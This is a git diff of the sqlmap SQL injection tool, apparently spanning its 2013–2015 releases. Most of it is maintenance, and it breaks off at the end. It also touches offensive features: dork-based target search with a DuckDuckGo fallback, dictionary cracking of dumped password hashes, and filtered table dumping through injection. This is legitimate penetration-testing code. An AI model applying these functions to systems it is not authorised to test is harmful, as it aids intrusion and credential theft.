@@ -13,15 +13,20 @@ import urllib import urllib2 from lib.core.common import getUnicode +from lib.core.common import readInput from lib.core.common import urlencode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.settings import GOOGLE_REGEX +from lib.core.settings import DUCKDUCKGO_REGEX +from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage +from lib.request.httpshandler import HTTPSHandler class Google(object): """ @@ -33,6 +38,7 @@ class Google(object): self._cj = cookielib.CookieJar() handlers.append(urllib2.HTTPCookieProcessor(self._cj)) + handlers.append(HTTPSHandler()) self.opener = urllib2.build_opener(*handlers) self.opener.addheaders = conf.httpHeaders @@ -40,10 +46,8 @@ class Google(object): try: conn = self.opener.open("http://www.google.com/ncr") conn.info() # retrieve session cookie - except urllib2.HTTPError, e: - e.info() - except urllib2.URLError: - errMsg = "unable to connect to Google" + except Exception, ex: + errMsg = "unable to connect to Google ('%s')" % ex raise SqlmapConnectionException(errMsg) def search(self, dork): @@ -103,4 +107,55 @@ class Google(object): warnMsg += "used IP address disabling further searches" raise SqlmapGenericException(warnMsg) + if not retVal: + message = "no usable links found. " + message += "do you want to (re)try with DuckDuckGo? [Y/n] " + output = readInput(message, default="Y") + + if output.strip().lower() != 'n': + url = "https://duckduckgo.com/d.js?" + url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage) + + if not conf.randomAgent: + self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.USER_AGENT.lower()] + self.opener.addheaders.append((HTTP_HEADER.USER_AGENT, "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0")) + + self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.ACCEPT_ENCODING.lower()] + self.opener.addheaders.append((HTTP_HEADER.ACCEPT_ENCODING, HTTP_ACCEPT_ENCODING_HEADER_VALUE)) + + try: + conn = self.opener.open(url) + + requestMsg = "HTTP request:\nGET %s" % url + requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + page = conn.read() + code = conn.code + status = conn.msg + responseHeaders = conn.info() + page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) + + responseMsg = "HTTP response (%s - %d):\n" % (status, code) + + if conf.verbose <= 4: + responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + except urllib2.HTTPError, e: + try: + page = e.read() + except socket.timeout: + warnMsg = "connection timed out while trying " + warnMsg += "to get error page information (%d)" % e.code + logger.critical(warnMsg) + return None + except: + errMsg = "unable to connect to DuckDuckGo" + raise SqlmapConnectionException(errMsg) + + retVal = [urllib.unquote(match.group(1)) for match in re.finditer(DUCKDUCKGO_REGEX, page, re.I | re.S)] + return retVal diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 1f7555a86..bc3f06f2a 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -19,7 +19,11 @@ try: except (ImportError, OSError): pass else: - _multiprocessing = multiprocessing + try: + if multiprocessing.cpu_count() > 1: + _multiprocessing = multiprocessing + except NotImplementedError: + pass import gc import os @@ -64,11 +68,11 @@ from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 -from lib.core.settings import ML from lib.core.settings import NULL from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist +from thirdparty.colorama.initialise import init as coloramainit from thirdparty.pydes.pyDes import des from thirdparty.pydes.pyDes import CBC @@ -324,7 +328,7 @@ def wordpress_passwd(password, salt, count, prefix, uppercase=False): return output cipher = md5(salt) - cipher.update(password) + cipher.update(password.encode(UNICODE_ENCODING)) hash_ = cipher.digest() for i in xrange(count): @@ -358,11 +362,19 @@ def storeHashesToFile(attack_dict): if not attack_dict: return + if kb.storeHashesChoice is None: + message = "do you want to store hashes to a temporary file " + message += "for eventual further processing with other tools [y/N] " + test = readInput(message, default="N") + kb.storeHashesChoice = test[0] in ("y", "Y") + + if not kb.storeHashesChoice: + return + handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt") os.close(handle) - infoMsg = "writing hashes to file '%s' " % filename - infoMsg += "for eventual further processing with other tools" + infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) items = set() @@ -392,9 +404,10 @@ def attackCachedUsersPasswords(): for user in kb.data.cachedUsersPasswords.keys(): for i in xrange(len(kb.data.cachedUsersPasswords[user])): - value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] - if value in lut: - kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', lut[value]) + if (kb.data.cachedUsersPasswords[user][i] or "").strip(): + value = kb.data.cachedUsersPasswords[user][i].lower().split()[0] + if value in lut: + kb.data.cachedUsersPasswords[user][i] += "%s clear-text password: %s" % ('\n' if kb.data.cachedUsersPasswords[user][i][-1] != '\n' else '', lut[value]) def attackDumpedTable(): if kb.data.dumpedTable: @@ -500,6 +513,9 @@ def hashRecognition(value): return retVal def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist): + if IS_WIN: + coloramainit() + count = 0 rotator = 0 hashes = set([item[0][1] for item in attack_info]) @@ -561,7 +577,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) - warnMsg += "Please report by e-mail to %s" % ML + warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" logger.critical(warnMsg) except KeyboardInterrupt: @@ -573,6 +589,9 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc proc_count.value -= 1 def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist): + if IS_WIN: + coloramainit() + count = 0 rotator = 0 @@ -612,13 +631,13 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found found.value = True - elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: + elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) - if not user.startswith(DUMMY_USER_PREFIX): + if user and not user.startswith(DUMMY_USER_PREFIX): status += ' (user: %s)' % user if not hasattr(conf, "api"): @@ -632,7 +651,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) - warnMsg += "Please report by e-mail to %s" % ML + warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" logger.critical(warnMsg) except KeyboardInterrupt: @@ -645,7 +664,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found def dictionaryAttack(attack_dict): suffix_list = [""] - custom_wordlist = [] + custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] @@ -657,7 +676,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue - hash_ = hash_.split()[0] + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: @@ -674,7 +693,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue - hash_ = hash_.split()[0] + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): item = None @@ -742,14 +761,16 @@ def dictionaryAttack(attack_dict): else: logger.info("using default dictionary") + dictPaths = filter(None, dictPaths) + for dictPath in dictPaths: checkFile(dictPath) kb.wordlists = dictPaths - except SqlmapFilePathException, msg: + except Exception, ex: warnMsg = "there was a problem while loading dictionaries" - warnMsg += " ('%s')" % msg + warnMsg += " ('%s')" % ex logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " @@ -819,7 +840,7 @@ def dictionaryAttack(attack_dict): try: process.terminate() process.join() - except OSError: + except (OSError, AttributeError): pass finally: @@ -913,7 +934,7 @@ def dictionaryAttack(attack_dict): try: process.terminate() process.join() - except OSError: + except (OSError, AttributeError): pass finally: @@ -936,7 +957,7 @@ def dictionaryAttack(attack_dict): if len(hash_regexes) == 0: warnMsg = "unknown hash format. " - warnMsg += "Please report by e-mail to %s" % ML + warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" logger.warn(warnMsg) if len(results) == 0: diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 84dec33bf..3f20432d9 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -16,6 +16,7 @@ from lib.core.common import serializeObject from lib.core.common import unserializeObject from lib.core.data import logger from lib.core.exception import SqlmapDataException +from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD from lib.core.settings import UNICODE_ENCODING @@ -43,7 +44,11 @@ class HashDB(object): return threadData.hashDBCursor - cursor = property(_get_cursor) + def _set_cursor(self, cursor): + threadData = getCurrentThreadData() + threadData.hashDBCursor = cursor + + cursor = property(_get_cursor, _set_cursor) def close(self): threadData = getCurrentThreadData() @@ -58,7 +63,7 @@ class HashDB(object): @staticmethod def hashKey(key): key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) - retVal = int(hashlib.md5(key).hexdigest()[:8], 16) + retVal = int(hashlib.md5(key).hexdigest()[:12], 16) return retVal def retrieve(self, key, unserialize=False): @@ -72,8 +77,12 @@ class HashDB(object): for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] except sqlite3.OperationalError, ex: - if not 'locked' in ex.message: + if not "locked" in ex.message: raise + except sqlite3.DatabaseError, ex: + errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, ex) + errMsg += "If the problem persists please rerun with `--flush-session`" + raise SqlmapDataException, errMsg else: break return retVal if not unserialize else unserializeObject(retVal) @@ -134,15 +143,36 @@ class HashDB(object): def beginTransaction(self): threadData = getCurrentThreadData() if not threadData.inTransaction: - self.cursor.execute('BEGIN TRANSACTION') - threadData.inTransaction = True + try: + self.cursor.execute("BEGIN TRANSACTION") + except: + # Reference: http://stackoverflow.com/a/25245731 + self.cursor.close() + threadData.hashDBCursor = None + self.cursor.execute("BEGIN TRANSACTION") + finally: + threadData.inTransaction = True def endTransaction(self): threadData = getCurrentThreadData() if threadData.inTransaction: + retries = 0 + while retries < HASHDB_END_TRANSACTION_RETRIES: + try: + self.cursor.execute("END TRANSACTION") + threadData.inTransaction = False + except sqlite3.OperationalError: + pass + else: + return + + retries += 1 + time.sleep(1) + try: - self.cursor.execute('END TRANSACTION') + self.cursor.execute("ROLLBACK TRANSACTION") except sqlite3.OperationalError: - pass + self.cursor.close() + self.cursor = None finally: threadData.inTransaction = False diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py index 0304cddc9..951c5c4a2 100644 --- a/lib/utils/htmlentities.py +++ b/lib/utils/htmlentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index fe1bf2b4d..392c3aaf9 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -38,6 +38,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): if count is None: query = dumpNode.count % table + query = whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if isinstance(count, basestring) and count.isdigit(): @@ -63,7 +64,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: - if any(re.search(r"(.+\.)?%s" % conf.pivotColumn, _, re.I) for _ in colList): + if any(re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I) for _ in colList): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) @@ -83,6 +84,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): logger.info(infoMsg) query = dumpNode.count2 % (column, table) + query = whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): @@ -122,6 +124,8 @@ def pivotDumpTable(table, colList, count=None, blind=True): else: query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) + query = whereQuery(query) + return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) value = _(pivotValue) @@ -163,3 +167,18 @@ def pivotDumpTable(table, colList, count=None, blind=True): logger.critical(errMsg) return entries, lengths + +def whereQuery(query): + if conf.dumpWhere and query: + prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") + + if "%s)" % conf.tbl.upper() in prefix.upper(): + prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) + elif re.search(r"(?i)\bWHERE\b", prefix): + prefix += " AND %s" % conf.dumpWhere + else: + prefix += " WHERE %s" % conf.dumpWhere + + query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix + + return query diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 7dd80507c..98397d81e 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -20,7 +20,7 @@ class ProgressBar(object): self._oldProgBar = "" self._min = int(minValue) self._max = int(maxValue) - self._span = self._max - self._min + self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 self._times = [] @@ -49,7 +49,7 @@ class ProgressBar(object): diffFromMin = float(self._amount - self._min) percentDone = (diffFromMin / float(self._span)) * 100.0 percentDone = round(percentDone) - percentDone = int(percentDone) + percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max)) diff --git a/lib/core/purge.py b/lib/utils/purge.py similarity index 88% rename from lib/core/purge.py rename to lib/utils/purge.py index 345655032..1447f8061 100644 --- a/lib/core/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -44,7 +44,7 @@ def purge(directory): for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with open(filepath, 'w+b') as f: + with open(filepath, "w+b") as f: f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass @@ -75,4 +75,8 @@ def purge(directory): logger.debug("deleting the whole directory tree") os.chdir(os.path.join(directory, "..")) - shutil.rmtree(directory) + + try: + shutil.rmtree(directory) + except OSError, ex: + logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, unicode(ex))) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index bff95513f..9e24bba30 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,21 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import imp import logging import os +import re import sys import warnings _sqlalchemy = None try: f, pathname, desc = imp.find_module("sqlalchemy", sys.path[1:]) - _sqlalchemy = imp.load_module("sqlalchemy", f, pathname, desc) - warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) + _ = imp.load_module("sqlalchemy", f, pathname, desc) + if hasattr(_, "dialects"): + _sqlalchemy = _ + warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) except ImportError: pass @@ -49,7 +52,7 @@ class SQLAlchemy(GenericConnector): conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect: - conf.direct = conf.direct.replace(conf.dbms, self.dialect) + conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) engine = _sqlalchemy.create_engine(conf.direct, connect_args={'check_same_thread':False} if self.dialect == "sqlite" else {}) self.connector = engine.connect() @@ -67,14 +70,14 @@ class SQLAlchemy(GenericConnector): retVal.append(tuple(row)) return retVal except _sqlalchemy.exc.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) return None def execute(self, query): try: self.cursor = self.connector.execute(query) except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) except _sqlalchemy.exc.InternalError, msg: raise SqlmapConnectionException(msg[1]) diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 5d41708f3..950caa717 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 9a3d5f5e6..a1cd1175a 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -11,3 +11,13 @@ PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) + +extensions = ("gzip", "ssl", "sqlite3", "zlib") +try: + for _ in extensions: + __import__(_) +except ImportError: + errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) + errMsg += "most probably because current version of Python has been " + errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" + exit(errMsg) \ No newline at end of file diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 96da0efa1..c5931b5d4 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -28,7 +28,7 @@ class xrange(object): self._slice = slice(*args) if self._slice.stop is None: raise TypeError("xrange stop must not be None") - + @property def start(self): if self._slice.start is not None: @@ -75,10 +75,10 @@ class xrange(object): fixed_index = index + self._len() else: fixed_index = index - + if not 0 <= fixed_index < self._len(): raise IndexError("Index %d out of %r" % (index, self)) - + return self._index(fixed_index) else: raise TypeError("xrange indices must be slices or integers") diff --git a/plugins/__init__.py b/plugins/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 4df52f812..bfb66e57e 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index ba8870cfd..03bcce91e 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 51e9d20fd..1dc5bd991 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index bb0ea1d2c..ee471df2f 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 057c61bd3..2cbe12835 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -146,7 +146,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 0e7184081..b43500e15 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index 315abc77a..f36dd0b7f 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 61494a9cd..0a5ea5718 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 1df06c9ea..feeb9b046 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index a7d783263..ba4fdef9c 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -12,7 +12,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) - + def getPasswordHashes(self): warnMsg = "on DB2 it is not possible to list password hashes" logger.warn(warnMsg) diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 8df147edb..616958820 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 65755745f..bc3f299ac 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -81,7 +81,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or conf.dbms in DB2_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES): setDbms(DBMS.DB2) return True diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 7aeaac22e..3a46c4d3b 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index 1c1b36d3f..a505781cc 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 82920d103..2c63d088d 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index b8a2a6bcb..0f9beb088 100644 --- a/plugins/dbms/firebird/connector.py +++ 